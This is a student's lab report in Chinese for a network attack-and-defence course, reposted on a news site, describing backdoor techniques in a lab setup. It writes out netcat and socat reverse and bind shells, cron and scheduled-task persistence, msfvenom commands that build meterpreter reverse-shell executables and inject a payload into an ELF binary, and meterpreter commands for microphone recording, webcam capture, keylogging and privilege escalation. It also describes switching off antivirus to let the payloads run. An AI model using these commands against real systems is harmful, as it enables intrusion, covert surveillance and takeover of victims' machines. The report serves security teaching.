20222408 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/18 16:31:54

1.实验内容

1.1本周学习内容

本次实验中,学习的重点是后门的实现与启动方式,学习内容还有后门的定义、原理以及可能影响,netcat、socat、MSF meterpreter软件的应用。

1.2实验内容简述

  1. 使用netcat获取主机操作Shell,利用cron启动一项任务
  2. 使用socat获取主机操作Shell, 利用创建任务计划的方式启动一项任务
  3. 使用MSF meterpreter生成可执行文件(后门),利用netcat传送到主机,攻击机监听,主机运行该文件,实现获取主机的shell
  4. 使用MSF meterpreter获取目标主机音频、屏幕截图、摄像头、击键记录等内容,并尝试提权。
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,同样进行监听、运行,获取反弹连接Shell。

1.3实验问题简答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
  • 连接已经感染病毒的U盘、移动硬盘等存储设备;从网上下载携带病毒的破解版软件;点击不安全的网页或链接;打开藏有木马程序的邮件;在开发过程中,软件存在后门,软件发布时未进行删除。
  1. 例举你知道的后门如何启动起来(win及linux)的方式?
  • Windows:后门启动方式包括双击运行、任务计划程序设置、启动项与注册表修改、程序捆绑等。

  • Linux:后门启动方式包括cron定时任务、系统服务设置、自启动脚本、反弹shell、程序捆绑等。

  1. Meterpreter有哪些给你映像深刻的功能?
  • Meterpreter可以进行实时屏幕截图、音频录制、摄像头监控、键盘记录等,这些功能使得攻击者能够全面监控受害者的系统,带来很大的安全威胁。
  1. 如何发现自己有系统有没有被安装后门?
  • 检查系统进程和启动项,查看是否有未知或可疑的程序运行;使用安全软件进行全面扫描,检测病毒和恶意软件等;检查网络连接和端口情况,查看是否有未经授权的外部连接;关注系统日志,及时发现并处理可疑情况。

2.实验过程

2.1使用netcat获取主机操作Shell,cron启动某项任务

2.1.1准备工作

关闭主机的防火墙与实时保护,为后续的攻击行为提供条件。


在网站netcat下载上下载netcat,在我的电脑上需要允许威胁才可以正常下载。

2.1.2得到主机的ip地址

通过ipconfig指令,得到主机的ip地址192.168.171.196。

2.1.3使用netcat连接,获取shell

在主机上,进入netcat所在目录,输入指令./nc.exe -l -p 2048(表示监听2408端口)

在虚拟机上,输入指令nc 192.168.171.196 2408 -e /bin/sh(表示对于指定的ip地址和端口,在连接后运行/bin/sh指令)

回到主机,输入一些shell命令,发现可以正常执行,返回虚拟机的信息,说明主机已经成功取得虚拟机shell。

2.1.4设置cron,在虚拟机中启动定时任务

cron表是用来设置周期性被执行的任务的列表。通过编辑crontab文件,用户可以指定任务(脚本或命令)在特定的时间间隔内自动运行。
以root权限打开命令行,输入指令crontab -e(编辑当前用户的crontab文件),选择2:/usr/bin/vim.basic(vim的基础版)

移动到最后,输入50 * * * * /bin/netcat 192.168.171.196 2048 -e /bin/sh(在每个小时的50分执行相应指令),输入:wq!保存并退出。

使用指令crontab -l,查看时程表,可以看到修改成功。

打开主机的/var/spool/cron/crontabs文件夹,可以看到多出来一个root文件。

在windows主机的cmd中,用一样的方式与虚拟机再次建立连接。

输入指令echo "08 * * * * echo "20222408" > /home/miaoshuyang/Desktop/20222408.txt" > /var/spool/cron/crontabs/root(往crontabs中的root文件中输入"08 * * * * echo "20222408" > /home/miaoshuyang/Desktop/20222408.txt"这一字符串),用crontab -l,查看时程表,可以看到修改成功。

等到08分,可以看到桌面上的20222408.txt被修改成功。

2.2使用socat获取主机操作Shell, 任务计划启动

从socat-1.7.3.0-windows网站上下载socat,在主机上解压缩即可使用。
在socat所在的文件夹,输入指令./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(创建一个在TCP端口8888监听上的服务器,当有人连接到这个端口时,它会启动一个cmd.exe会话,并将这个会话的输入和输出通过 TCP 连接与客户端共享)

此时主机的ip地址变化为192.168.1.111。在虚拟机上输入socat - tcp:192.168.1.111:8888(使用socat建立一个到特定IP地址和端口的TCP连接),成功进入命令行。

在主机上写一段程序,编译好,用于运行。程序的内容和路径如下。


在虚拟机中,输入指令schtasks /create /sc minute /mo 1 /tn"20222408msy" /tr D:\test20222408\test20222408.exe(在Windows操作系统上,通过任务计划程序创建一个新任务的命令行指令)

在主机中,打开计算机管理,看到"20222408msy"这一每分钟执行一次的任务,说明攻击成功。

2.3使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

2.3.1生成后门文件

在虚拟机中输入ifconfig,得到当前虚拟机的ip地址192.168.1.112

继续输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -f exe > backdoor20222408.exe。这一指令将生成一个名为backdoor20222408.exe的恶意可执行文件,该文件包含一个反向TCP Meterpreter shell有效载荷。当这个文件在Windows计算机上运行时,它会尝试建立一个到IP地址为192.168.1.112、端口号为8888的攻击者机器的反向连接。如果连接成功,攻击者就可以通过Meterpreter shell远程控制受感染的计算机。

2.3.2将后门文件传至windows主机

在主机中进入netcat所在目录,输入指令 ./nc.exe -lv 8888 > "D:\backdoor20222408.exe"(监听8888端口,将输出重定向到一个文件中)

在虚拟机中输入指令nc 192.168.1.111 8888 < backdoor20222408.exe(将backdoor20222408.exe的文件内容发送到192.168.1.111:8888)

可以看到文件已传送过来。

2.3.3配置监听模块

在虚拟机的终端输入指令msfconsole,打开Metasploit框架的主要控制台界面。

对监听模块进行配置:
use exploit/multi/handler(选择Metasploit中的multi/handler利用模块)
set payload windows/meterpreter/reverse_tcp (设置要使用的有效载荷,和生成后门程序时相同)
set LHOST 192.168.1.112 (设置本地主机的IP地址,和生成后门程序时相同)
set LPORT 8888(设置本地端口)

输入exploit,使监听模块开始运行。

在主机上输入./backdoor20222408.exe,使其开始运行。

回到虚拟机,输入dir会显示当前目录下的目录,可以发现已经连接至主机。

2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

2.4.1获取目标主机音频、截屏、摄像头、击键记录

在exploit模块中输入以下指令:
record_mic(音频)
screenshot(截屏)
webcam_snap(拍摄)
keyscan_start(开始读取键盘记录)
(回到主机输入一段文字)
keyscan_dump(结束读取键盘记录)

除了键盘记录直接显示在命令行以外,可以在文件系统看到被保存的音频、截屏、拍摄记录。

2.4.2实现提权

用指令getuid得到初始用户名MIAOSY-PC\miaos。
用指令getsystem提升到系统权限。
从图中可以看出,通过技术6(Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)),成功获得了系统权限。
技术6(EfsPotato) 是一种利用windows系统中的漏洞或设计特性来绕过用户账户控制(UAC)和提升权限的技术。在这个场景中,它利用了文件系统(如加密文件系统EFS)中的命名管道(Named Pipe)来模拟系统级别的权限,从而允许执行更高权限的操作。

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

在虚拟机中输入msfvenom -p linux/x86/meterpreter/reverse tcp LHoST=192.168.1.112 LPORT=8888 -x /home/miaoshuyang/Desktop/pwn120222408 -f elf > 20222408_pwn1(创建一个Linux平台上的反向TCP meterpreter payload,将其注入到指定的可执行文件中,并将其保存为一个ELF格式的文件)

对生成的文件设置权限。

输入msfconsole,再次进行监听配置,开始监听。

打开新的shell,运行文件20222408_pwn1。

回到第一个shell,输入ls,发现可以打印当前目录的内容,说明成功获取shell。

3.问题及解决方案

  • 问题1:正常实验过程中,虚拟机突然与主机无法通信。
  • 问题1解决方案:四处搜索解决方案,改了半天都没有网,然而重启了一下就正常了。
  • 问题2:输入socat -tcp:192.168.1.111:8888命令时,一直报错,说缺少参数。
  • 问题2解决方案:仔细排查,发现少打了一个空格,正确的命令是socat - tcp:192.168.1.111:8888
  • 问题3:下载netcat时、以及接收backdoor20222408.exe时,下载下来的文件会被秒删。
  • 问题3解决方案:在Windows安全中心的病毒和威胁防护界面,将检测出来的相应威胁设置为“允许在设备上运行”。

4.学习感悟、思考等

本次实验中,通过动手实践,我不仅掌握了使用netcat、socat、MSF meterpreter等工具获取主机操作Shell的方法,还学会了如何利用cron和任务计划等方式启动后门任务。这些技能的获得,让我对网络安全攻防有了更直观、更深入的理解。实践中遇到的各种错误与挑战,也很好地锻炼了我的纠错能力与动手能力。
在学习的过程中,我深刻体会到了网络安全的重要性以及后门的潜在威胁,因而产生了一些思考。首先,后门往往是黑客攻击的重要手段之一,它们可以被用来窃取敏感信息、破坏系统稳定性等。因此,我们必须时刻保持警惕,加强网络安全意识,采用定期更新系统补丁、使用强密码等措施来防范后门攻击。其次,对于网络安全人员来说,掌握后门原理和实践技能是必不可少的。只有这样,我们才能更好地发现和应对潜在的网络安全威胁,保护系统的安全和稳定。
综上所述,这次后门原理与实践的学习让我受益匪浅。我不仅掌握了相关的技能和知识,还深刻认识到了保障网络安全的重要性和挑战性。我相信,在未来的学习和工作中,我会继续深入学习和探索网络安全领域的知识和技术,为保护自己和他人的信息安全贡献自己的力量。

参考资料

  • 后门原理与实践

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/73112.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

京东APP百亿级商品与车关系数据检索实践

作者:京东零售 张强导读 本文主要讲解了京东百亿级商品车型适配数据存储结构设计以及怎样实现适配接口的高性能查询。通过京东百亿级数据缓存架构设计实践案例,简单剖析了jimdb的位图(bitmap)函数和lua脚本应用在高性能场景。希望通过本文,读者可以对缓存的内部结构知识有一…

专题(二十) cut

一、作用与介绍cut 命令从文件的每一行剪切字节、字符和字段并将这些字节、字符、字段写至标准输出。 二、用法选项 用法说明 举例说明 备注-b 按字节截取 who | cut -b 3 输出每行的第三个字节-c 按字符截取,常用于中文 cut -c 2 输出每行的第二个中文字符-d 指定以什么为…

【DevExpress】(多行粘贴、块粘贴)

复制是GridControl自带的属性,主要解决的是多个单元格复制的问题,这里涉及到两个参数。 主要是粘贴的 先定义两个全局变量,在单元格点击事件的时候获取单元格的行号和列号1 //获取当前选中单元格所在的列序号2 int curntindex;3 //获取获取当前选中单元格所在的行…

Jenkins+Coverage的代码覆盖率集成实践

Jenkins+Coverage的代码覆盖率集成实践 一、工具介绍Jenkins: Jenkins是一个开源的、基于Java开发的持续集成工具,它可以帮助开发人员自动化构建、测试和部署软件项目。 Coverage: Coverage是一个Python代码覆盖率工具,用于测量代码执行过程中哪些代码行被执行到,从而评估…

C++顺序结构(3)、数据类型_____教学

一、设置域宽setw() 输出的内容所占的总宽度成为域宽,有些高级语言中称为场宽。 使用setw()前,必须包含头文件iomanip,即#include<iomanip> 头文件iomanip,用来声明一些“流操作符”,需要一定格式输入输出时,就需要用到它,比较常用的有设置域宽、设置左右对齐、设置…

OpenCity: Open Spatio-Temporal Foundation Models for Traffic Prediction

1. 数据准备 在这个数据处理过程中,以数据集 PEMS07M 为例,整个数据抽取和划分过程如下:初始数据维度:原始训练数据 data_train 的维度为 (12672, 228, 3)。其中:12672 表示时间步数,代表不同的时间点采样的数据。 228 表示空间节点数(例如不同的交通站点)。 3 表示每个…

04C++顺序结构(3)

1、设置域宽setw(); 2、cin语句; 3、输入输出.格式化一、设置域宽setw() 输出的内容所占的总宽度成为域宽,有些高级语言中称为场宽。 使用setw()前,必须包含头文件iomanip,即#include<iomanip> 头文件iomanip,用来声明一些“流操作符”,需要一定格式输入输出时,就…

轻松上手-MVVM模式_关系型数据库_云函数T云数据库

作者:狼哥 团队:坚果派 团队介绍:坚果派由坚果等人创建,团队拥有12个华为HDE带领热爱HarmonyOS/OpenHarmony的开发者,以及若干其他领域的三十余位万粉博主运营。专注于分享HarmonyOS/OpenHarmony、ArkUI-X、元服务、仓颉。团队成员聚集在北京,上海,南京,深圳,广州,宁…